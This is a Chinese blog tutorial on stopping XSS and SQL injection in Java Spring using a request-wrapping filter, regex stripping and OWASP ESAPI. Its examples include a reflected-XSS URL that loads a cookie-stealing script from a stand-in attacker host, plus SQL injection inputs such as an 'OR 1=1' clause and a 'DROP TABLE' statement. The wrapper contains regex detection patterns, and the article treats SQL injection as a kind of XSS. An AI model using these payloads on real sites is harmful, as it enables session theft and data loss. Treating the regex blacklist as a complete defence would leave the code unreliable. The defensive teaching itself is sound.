如何有效预防XSS?这几招管用!!!

本文涉及的产品
云数据库 RDS MySQL,集群系列 2核4GB
推荐场景:
搭建个人博客
RDS MySQL Serverless 基础系列,0.5-2RCU 50GB
云数据库 RDS MySQL,高可用系列 2核4GB
简介: 如何有效预防XSS?这几招管用!!!

预防XSS,这几招管用


最近重温了一下「黑客帝国」系列电影,一攻一防实属精彩,生活中我们可能很少有机会触及那么深入的网络安全问题,但工作中请别忽略你身边的精彩

image.jpeg


大家应该都听过 XSS (Cross-site scripting) 攻击问题,或多或少会有一些了解,但貌似很少有人将这个问题放在心上。一部分人是存有侥幸心理:“谁会无聊攻击我们的网站呢?”;另一部分人可能是工作职责所在,很少触碰这个话题。希望大家看过这篇文章之后能将问题重视起来,并有自己的解决方案, 目前XSS攻击问题依旧很严峻:


Cross-site scripting(XSS)是Web应用程序中常见的一种计算机安全漏洞,XSS 使攻击者能够将客户端脚本注入其他用户查看的网页中。 攻击者可能会使用跨站点脚本漏洞绕过访问控制,例如同源策略。 截至2007年,Symantec(赛门铁克) 在网站上执行的跨站脚本占据了所有安全漏洞的 84% 左右。2017年,XSS 仍被视为主要威胁载体,XSS 影响的范围从轻微的麻烦到重大的安全风险,影响范围的大小,取决于易受攻击的站点处理数据的敏感性方式以及站点所有者实施对数据处理的安全策略。

XSS 类型的划分以及其他概念性的东西在此就不做过多说明,Wikipedia Cross-site scripting 说明的非常清晰,本文主要通过举例让读者看到 XSS 攻击的严重性,同时提供相应的解决方案


XSS 案例


不喜欢看 XSS 案例的,请跳过此处,直接去看 解决方案 。Bob 和 Alice 两个人是经常用作案例(三次握手,SSH认证等)说明的,没错下面的这些案例也会让他们再上头条😆


案例一


Alice 经常访问由 Bob 托管的特定网站, Bob 的网站允许 Alice 使用用户名/密码登陆后,存储敏感数据,例如账单信息。当用户登录时,浏览器会保留一个授权 Cookie,它看起来像一些垃圾字符,这样两台计算机(客户端和服务器)都有一条她已登录的记录。

Mallory 观察到 Bob 的网站包含一个 XSS 漏洞:


  1. 当她访问“搜索”页面时,她会在搜索框中输入搜索词,然后单击“提交”按钮。


  1. 使用普通的搜索查询,如单词“puppies”,页面只显示“找不到小狗相关内容”,网址为 http://bobssite.org/search?q=puppies 这是完全正常的行为。


  1. 但是,当她提交异常搜索查询时,例如<script type ='application / javascript'> alert('xss'); </ script>


  • 出现一个警告框(表示“xss”)。


  • 该页面显示“未找到”,以及带有文本“xss”的错误消息。


  • URL 是http://bobssite.org/search?q= <script%20type ='application / javascript'> alert('xss'); </ script> , 这是一个可利用的行为


Mallory制作了一个利用此漏洞的URL:


  1. 她创建了URL http://bobssite.org/search?q=puppies<script%20src="http://mallorysevilsite.com/authstealer.js“> </ script>。她选择使用百分比编码 encode ASCII字符,例如

http://bobssite.org/search?q=puppies%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22 %3E%3C%2Fscript%3E,这样读者就无法立即破译这个恶意 URL


  1. 她给 Bob 网站的一些毫无防备的成员发了一封电子邮件,说“看看这些可爱的小狗!”


Alice 到电子邮件, 她喜欢小狗并点击链接。它进入Bob的网站进行搜索,找不到任何内容,并显示“找不到小狗”, 但就在这时,脚本标签运行(Alice 在屏幕上看不到)并加载并运行 Mallory 的程序 authstealer.js(触发了 XSS攻击)

authstealer.js 程序在 Alice 的浏览器中运行,就像正常访问 Bob 的网站一样。但该程序抓取 Alice 的授权 Cookie 副本并将其发送到 Mallory 的服务器


Mallory 现在将 Alice 的授权 Cookie 放入她的浏览器中,然后她去了 Bob 的网站,并以 Alice 身份登录。


Mallory 假借 Alice 身份进入网站的账单部分,查找 Alice 的信用卡号码并抓取副本。然后她去改变她的密码,这样过后爱丽丝甚至不能再登录了。


Mallory 决定更进一步向 Bob 本人发送一个类似的链接,从而获得Bob的网站管理员权限。


案例二


当向用户询问输入时,通常会发生 SQL 注入,例如用户名/用户ID,用户会为您提供一条 SQL 语句,您将无意中在数据库上运行该语句。


请查看以下示例,该示例通过向选择字符串添加变量(txtUserId)来创建SELECT语句。 该变量是从用户输入(getRequestString)获取的:


txtUserId = getRequestString("UserId");
txtSQL = "SELECT * FROM Users WHERE UserId = " + txtUserId;


当用户输入 userId = 105 OR 1=1,这时 SQL 会是这个样子:


SELECT * FROM Users WHERE UserId = 105 OR 1=1;


OR 条件始终为 true,这样就有可能获取全部用户信息

如果用户输入 userId = 105; DROP TABLE Suppliers ,这时 SQL 语句会是这样子


SELECT * FROM Users WHERE UserId = 105; DROP TABLE Suppliers;


这样 Suppliers 表就被不知情的情况下删除掉了


通过上面的例子可以看出,XSS 相关问题可大可小,大到泄露用户数据,使系统崩溃;小到页面发生各种意想不到的异常。“苍蝇不叮无缝的蛋”,我们需要拿出解决方案,修复这个裂缝。但解决 XSS 问题需要多种方案的配合使用:


  1. 前端做表单数据合法性校验(这是第一层防护,虽然“防君子不防小人”,但必须要有)


  1. 后端做数据过滤与替换 (总有一些人会通过工具录入一些非法数据造访你的服务器的)


  1. 持久层数据编码规范,比如使用 Mybatis,看 Mybatis 中 “$" 和 "#" 千万不要乱用 了解这些小细节


本文主要提供第 2 种方式的解决方案


解决方案


先不要向下看,思考一下,在整个 HTTP RESTful 请求过程中,如果采用后端服务做请求数据的过滤与替换,你能想到哪些解决方案?


带你像读侦探小说一样趣味学习 Java 技术

Spring AOP


使用 Spring AOP 横切所有 API 入口,貌似可以很轻松的实现,But(英文听力重点😂),RESTful API 设计并不是统一的入参格式,有 GET 请求的 RequestParam 的入参,也有 POST 请求RequestBody的入参,不同的入参很难进行统一处理,所以这并不是很好的方式,关于 RESTful 接口的设计,可以参考 如何设计好的 RESTful API?


HttpMessageConverter


请求的 JSON 数据都要过 HttpMessageConverter 进行转换,通常我们可以通过添加 MappingJackson2HttpMessageConverter 并重写 readInternal 方法:


@Override
protected Object readInternal(Class<?> clazz, HttpInputMessage inputMessage) throws IOException, HttpMessageNotReadableException {
    return super.readInternal(clazz, inputMessage);
}


获取到转换过后的 Java 对象后对当前对象做处理,但这种方式没有办法处理 GET 请求,所以也不是一个很好的方案,想详细了解 HttpMessageConverter 数据转换过程可以查看 HttpMessageConverter是如何转换数据的?


Filter


Servlet Filter 不过多介绍,通过 Filter 可以过滤 HTTP Request,我们可以拿到请求的所有信息,所以我们可以在这里大做文章


我们有两种方式自定义我们的 Filter


  1. 实现 javax.servlet.Filter 接口


  1. Spring 环境下继承

org.springframework.web.filter.OncePerRequestFilter 抽象类


这里采用第二种方式:


@Slf4j
public class GlobalSecurityFilter extends OncePerRequestFilter {
    @Override
    protected void doFilterInternal(HttpServletRequest request, HttpServletResponse response, FilterChain filterChain) throws ServletException, IOException {
        String userInput = request.getParameter("param");
        if (userInput != null && !userInput.equalsIgnoreCase(HtmlUtils.htmlEscape(userInput))) {
            throw new RuntimeException();
        }
        String requestBody = IOUtils.toString(request.getInputStream(), "UTF-8");
        if (requestBody != null && !requestBody.equalsIgnoreCase(HtmlUtils.htmlEscape(requestBody))) {
            throw new RuntimeException();
        }
        filterChain.doFilter(request, response);
    }
}


然后注册 Filter


@Bean
public FilterRegistrationBean filterRegistrationBean() {
    FilterRegistrationBean registration = new FilterRegistrationBean();
    registration.setFilter(globalSecurityFilter());
    //URL 过滤 pattern 设置
    registration.addUrlPatterns(validatePath + "/*");
    registration.setOrder(5);
    return registration;
}
@Bean(name = "globalSecurityFilter")
public Filter globalSecurityFilter() {
    return new GlobalSecurityFilter();
}


这种方案貌似可以很简单粗暴的解决,但会有以下几个问题:


  1. 抛出异常,没有统一 RESTful 消息返回格式,抛出异常后导致流程不可达


  1. 调用 request.getInputStream() 读取流,只能读取一次,调用责任链后续 filter 会导致 request.getInputStream() 内容为空,即便这是 Filter 责任链中的最后一个 filter,程序运行到 HttpMessageConverter 时也会抛出异常。想了解 Filter 责任链的调用过程,可以查看 不得不知的责任链设计模式


  1. 看过文章开头的 XSS 攻击案例,HtmlUtils.htmlEscape(...) 可替换的内容有限,不够丰富


我们需要通过 HttpServletRequestWrapper 完成流的多次读取,当你看到这个名称 XXXWrapper,你应该想到这应用了 Java 的设计模式——装饰模式(这是侦探的基本素养 😄),先来看类图:


微信图片_20220509121636.jpg


HttpServletRequestWrapper 继承 ServletRequestWrapper 并实现了 HttpServletRequest 接口,我们只需定义自己的 Wrapper,并重写里面的方法即可

@Slf4j
public class GlobalSecurityRequestWrapper extends HttpServletRequestWrapper {
    //将读取的流内容存储在 body 字符串中
    private final String body;
    //定义Pattern数组,用于正则匹配,可添加其他pattern规则至此
    private static Pattern[] patterns = new Pattern[]{
            // Script fragments
            Pattern.compile("<script>(.*?)</script>",Pattern.CASE_INSENSITIVE),
            // src='...'
            Pattern.compile("src[\r\n]*=[\r\n]*\\\'(.*?)\\\'",Pattern.CASE_INSENSITIVE | Pattern.MULTILINE| Pattern.DOTALL),
            Pattern.compile("src[\r\n]*=[\r\n]*\\\"(.*?)\\\"",Pattern.CASE_INSENSITIVE | Pattern.MULTILINE| Pattern.DOTALL),
            // lonely script tags
            Pattern.compile("</script>",Pattern.CASE_INSENSITIVE),
            Pattern.compile("<script(.*?)>",Pattern.CASE_INSENSITIVE | Pattern.MULTILINE| Pattern.DOTALL),
            // eval(...)
            Pattern.compile("eval\\((.*?)\\)",Pattern.CASE_INSENSITIVE | Pattern.MULTILINE| Pattern.DOTALL),
            // expression(...)
            Pattern.compile("expression\\((.*?)\\)",Pattern.CASE_INSENSITIVE | Pattern.MULTILINE| Pattern.DOTALL),
            // javascript:...
            Pattern.compile("javascript:",Pattern.CASE_INSENSITIVE),
            // vbscript:...
            Pattern.compile("vbscript:",Pattern.CASE_INSENSITIVE),
            //在此添加其他 Pattern,更多 Pattern 内容,可以从文末 demo 处获取全部代码
    };
    /**
    *通过构造函数装饰 HttpServletRequest,同时将流内容存储在 body 字符串中
    */
    public GlobalSecurityRequestWrapper(HttpServletRequest servletRequest) throws IOException{
        super(servletRequest);
        StringBuilder stringBuilder = new StringBuilder();
        BufferedReader bufferedReader = null;
        try {
            InputStream inputStream = servletRequest.getInputStream();
            if (inputStream != null) {
                bufferedReader = new BufferedReader(new InputStreamReader(inputStream));
                char[] charBuffer = new char[128];
                int bytesRead = -1;
                while ((bytesRead = bufferedReader.read(charBuffer)) > 0) {
                    stringBuilder.append(charBuffer, 0, bytesRead);
                }
            } else {
                stringBuilder.append("");
            }
        } catch (IOException ex) {
            throw ex;
        } finally {
            if (bufferedReader != null) {
                try {
                    bufferedReader.close();
                } catch (IOException ex) {
                    throw ex;
                }
            }
        }
        //将requestBody内容以字符串形式存储在变量body中
        body = stringBuilder.toString();
        log.info("过滤和替换前,requestBody 内容为: 【{}】", body);
    }
    /**
     * 将 body 字符串重新转换为ServletInputStream, 用于request.inputStream 读取流
     * @return
     * @throws IOException
     */
    @Override
    public ServletInputStream getInputStream() throws IOException {
        String encodedBody = stripXSS(body);
        log.info("过滤和替换后,requestBody 内容为: 【{}】", encodedBody);
        final ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(encodedBody.getBytes());
        ServletInputStream servletInputStream = new ServletInputStream() {
            @Override
            public int read() throws IOException {
                return byteArrayInputStream.read();
            }
            @Override
            public boolean isFinished() {
                return byteArrayInputStream.available() == 0;
            }
            @Override
            public boolean isReady() {
                return true;
            }
            @Override
            public void setReadListener(ReadListener readListener) {
            }
        };
        return servletInputStream;
    }
    /**
     * 调用该方法,可以多次获取 requestBody 内容
     * @return
     */
    public String getBody() {
        return this.body;
    }
    @Override
    public BufferedReader getReader() throws IOException {
        return new BufferedReader(new InputStreamReader(this.getInputStream()));
    }
    /**
     * 获取 request (http://127.0.0.1/test?a=1&b=2) 请求参数,多个参数返回 String[] 数组
     * @param parameter
     * @return
     */
    @Override
    public String[] getParameterValues(String parameter) {
        String[] values = super.getParameterValues(parameter);
        if (values == null) {
            return null;
        }
        int count = values.length;
        String[] encodedValues = new String[count];
        for (int i = 0; i < count; i++) {
            encodedValues[i] = stripXSS(values[i]);
        }
        return encodedValues;
    }
    /**
     * 获取单个请求参数
     * @param parameter
     * @return
     */
    @Override
    public String getParameter(String parameter) {
        String value = super.getParameter(parameter);
        return stripXSS(value);
    }
    /**
     * 获取请求头信息
     * @param name
     * @return
     */
    @Override
    public String getHeader(String name) {
        String value = super.getHeader(name);
        return stripXSS(value);
    }
    /**
     * 标准过滤和替换方法
     * @param value
     * @return
     */
    private String stripXSS(String value){
        if (value != null) {
            // 使用 ESAPI 避免 encoded 的代码攻击
            value = ESAPI.encoder().canonicalize(value, false, false);
            value = patternReplace(value);
        }
        return value;
    }
    /**
    * 根据 Pattern 替换字符
    */
    private String patternReplace(String value){
        if (StringUtils.isNotBlank(value)){
            // 避免null
            value = value.replaceAll("\0", "");
            // 根据Pattern匹配到的字符,做""替换
            for (Pattern scriptPattern : patterns){
                value = scriptPattern.matcher(value).replaceAll("");
            }
        }
        return value;
    }
}


至此,修改 GlobalSecurityFilter 中代码,将重写好的 GlobalSecurityRequestWrapper 重新放入到 FilterChain 中


GlobalSecurityRequestWrapper xssHttpServletRequestWrapper = new GlobalSecurityRequestWrapper(request);
filterChain.doFilter(xssHttpServletRequestWrapper, response);


上面所有方法都添加了注解,很容易理解,我们看到在 stripXSS 方法中引入了 ESAPI ,关于如何引入 ESAPI,请看当前文章 ESAPI引入方式 部分内容,来看代码:


ESAPI.encoder().canonicalize(value, false, false);


这段代码是 ESAPI 最简单的使用方式,主要防止 encoded 的代码进行 XSS 攻击,这种简单的使用在 GET 请求中没有问题,但如果是 POST 请求,requestBody 中数据有 "", 会被替换掉,这样就破坏了json 的结构,导致后续解析出错. 为什么会这样呢?


ESAPI.encoder() 构造出默认的 DefaultEncoder, 查看该类发现:


/**
 * Instantiates a new DefaultEncoder
 */
private DefaultEncoder() {
    codecs.add( htmlCodec );
    codecs.add( percentCodec );
    codecs.add( javaScriptCodec );
}


其中 javaScriptCodec 是按照 JavaScript 标准将 "" 替换成 "", 所以我们需要做定制改变,继续查看 Encoder 接口,找到下面方法:


String canonicalize(String input, boolean restrictMultiple, boolean restrictMixed);


通过查看该方法的注释我们了解到,可以通过 DefaultEncoder 带参数构造器构造自己的 encoder:


List codecs = new ArrayList(2);
codecs.add( new HTMLEntityCodec());
codecs.add( new PercentCodec());
DefaultEncoder defaultEncoder = new DefaultEncoder(Arrays.asList("HTMLEntityCodec", "PercentCodec"));


所以我们可以重新定义一个 stripXSSRequestBody 方法用在 重写的 getInputStream 方法中


/**
 * 请求体处理,多用于json数据,自定义encoder,排除掉javascriptcodec
 * @param value
 * @return
 */
private String stripXSSRequestBody(String value){
    if (value != null) {
        List codecs = new ArrayList(4);
        codecs.add( new HTMLEntityCodec() );
        codecs.add( new PercentCodec());
        DefaultEncoder defaultEncoder = new DefaultEncoder(Arrays.asList("HTMLEntityCodec", "PercentCodec"));
        // 使用 ESAPI 避免 encoded 的代码攻击
        value = defaultEncoder.canonicalize(value, false, false);
        value = patternReplace(value);
    }
    return value;
}


解决了 RequestBody 的问题,我们需要进一步解决防 SQL 注入查询的问题,我们可以在重写的 getParameterValues 方法中使用如下方法:


/**
 * 防Sql注入,多用于带参数查询
 * @param value
 * @return
 */
private String stripXSSSql(String value) {
    Codec MYSQL_CODEC = new MySQLCodec(MySQLCodec.Mode.STANDARD);
    if (value != null) {
        // 使用 ESAPI 避免 encoded 的代码攻击
        value = ESAPI.encoder().canonicalize(value, false, false);
        value = ESAPI.encoder().encodeForSQL(MYSQL_CODEC, value);
    }
    return value;
}


ESAPI.encoder()还有很多定制化的过滤,请小伙伴动手自行发现和定制,这里不再做过多的解释


问题还没解决完,涉及到文件上传的业务,可以通过其他方式做文件魔术数字校验,文件后缀校验,文件大小校验等方式,没必要在这个地方校验 XSS 内容,所以我们需要再对 Filter 做出一些改变,不处理 contentType 为 multipart/form-data 的请求


String contentType = request.getContentType();
if (StringUtils.isNotBlank(contentType) && contentType.contains("multipart/form-data")){
    filterChain.doFilter(request, response);
}else {
    GlobalSecurityRequestWrapper xssHttpServletRequestWrapper = new GlobalSecurityRequestWrapper((HttpServletRequest)request);
    filterChain.doFilter(xssHttpServletRequestWrapper, response);
}


当然这种方式还有进一步的改善空间,比如添加白名单(YAML配置的方式)等,具体业务还需要具体分析,不过读到这里,相信大家的思路已经打开,可以进行自我创作了.


ESAPI引入方式


ESAPI(Enterprise Security API)是一个免费开源的Web应用程序API,目的帮助开发者开发出更加安全的代码, 更多介绍请查看 OWASPESAPI github使用 ESAPI,我们要引入相应的 jar 包

gradle 方式


compile group: 'org.owasp.esapi', name: 'esapi', version: '2.0.1'


maven 方式


<dependency>
    <groupId>org.owasp.esapi</groupId>
    <artifactId>esapi</artifactId>
    <version>2.0.1</version>
</dependency>


resources 根目录下添加 ESAPI.properties 文件和 validation.properties 两个文件,至此我们就可以使用 ESAPI 帮助我们解决 XSS 问题了,文件内容可以通过下载 ESAPI source 获取,也可以从 Demo 下载地址中获取


灵魂追问


  1. 你了解 Java 装饰器设计模式吗?能想起来框架的哪些地方用到了该设计模式?


  1. 为什么单纯校验文件的后缀是不安全的校验方式?


  1. 你看过「黑客帝国」吗? (该问题纯属搞笑)
相关实践学习
如何在云端创建MySQL数据库
开始实验后,系统会自动创建一台自建MySQL的 源数据库 ECS 实例和一台 目标数据库 RDS。
全面了解阿里云能为你做什么
阿里云在全球各地部署高效节能的绿色数据中心,利用清洁计算为万物互联的新世界提供源源不断的能源动力,目前开服的区域包括中国(华北、华东、华南、香港)、新加坡、美国(美东、美西)、欧洲、中东、澳大利亚、日本。目前阿里云的产品涵盖弹性计算、数据库、存储与CDN、分析与搜索、云通信、网络、管理与监控、应用服务、互联网中间件、移动服务、视频服务等。通过本课程,来了解阿里云能够为你的业务带来哪些帮助 &nbsp; &nbsp; 相关的阿里云产品:云服务器ECS 云服务器 ECS(Elastic Compute Service)是一种弹性可伸缩的计算服务,助您降低 IT 成本,提升运维效率,使您更专注于核心业务创新。产品详情: https://www.aliyun.com/product/ecs
相关文章
|
7月前
|
存储 开发框架 安全
如何处理预防XSS漏洞攻击问题
防止XSS攻击需要从多个方面入手,包括输入验证和过滤、输出编码、设置正确的HTTP头部、使用最新的安全框架和库、定期进行安全审计和漏洞扫描以及培训和意识提升等。只有综合运用这些措施,才能有效地防止XSS攻击,保护网站和用户的安全。
|
Java
Struts2 Xss 攻击预防的处理
关于XSS问题的处理,此前在博客 http://blog.csdn.net/catoop/article/details/50338259 中写过处理方法。刚好最近朋友有问到“在Struts2中按文章中那样处理无效”,后来验证了下发现,Struts2 对请求的二次封装有所不同,于是针对Struts.
18749 0
|
3月前
|
存储 前端开发 JavaScript
浅谈Web前端安全策略xss和csrf,及又该如何预防?
该文章详细讨论了Web前端安全中的XSS(跨站脚本攻击)和CSRF(跨站请求伪造)攻击原理及其防范措施,帮助读者了解如何保护Web应用程序免受这两种常见安全威胁的影响。
|
4月前
|
存储 安全 JavaScript
解释 XSS 攻击及其预防措施
【8月更文挑战第31天】
362 0
|
7月前
|
安全
OWASP ESAPI 预防XSS跨站脚本攻击_xss攻击引入esapi(1)
OWASP ESAPI 预防XSS跨站脚本攻击_xss攻击引入esapi(1)
|
SQL 安全 前端开发
如何预防SQL注入,XSS漏洞(spring,java)
SQL注入是由于程序员对用户输入的参数没有做好校验,让不法分子钻了SQL的空子,
354 0
|
存储 XML 前端开发
浅谈Web前端安全策略xss和csrf,及又该如何预防?
在下面的这篇文章中,将讲解前端安全策略 xss 和 csrf !一起来一探究竟吧~
浅谈Web前端安全策略xss和csrf,及又该如何预防?
|
JavaScript 前端开发
xss前端预防措施
用户在输入框中输入个js标签 或者在 src 上传图片,路径干个 alert 干扰程序,评论的时候,也干一下 1.输入过滤 对于用户提交的数据进行有效性验证,仅接受指定长度范围内并符合我们期望合适的内容提交,阻止或者忽略除此之外的其他任何数据。
1247 0
|
1月前
|
JavaScript 安全 前端开发
同源策略如何防止 XSS 攻击?
【10月更文挑战第31天】同源策略通过对 DOM 访问、Cookie 访问、脚本执行环境和跨源网络请求等多方面的严格限制,构建了一道坚实的安全防线,有效地防止了 XSS 攻击,保护了用户在网络浏览过程中的数据安全和隐私。
101 49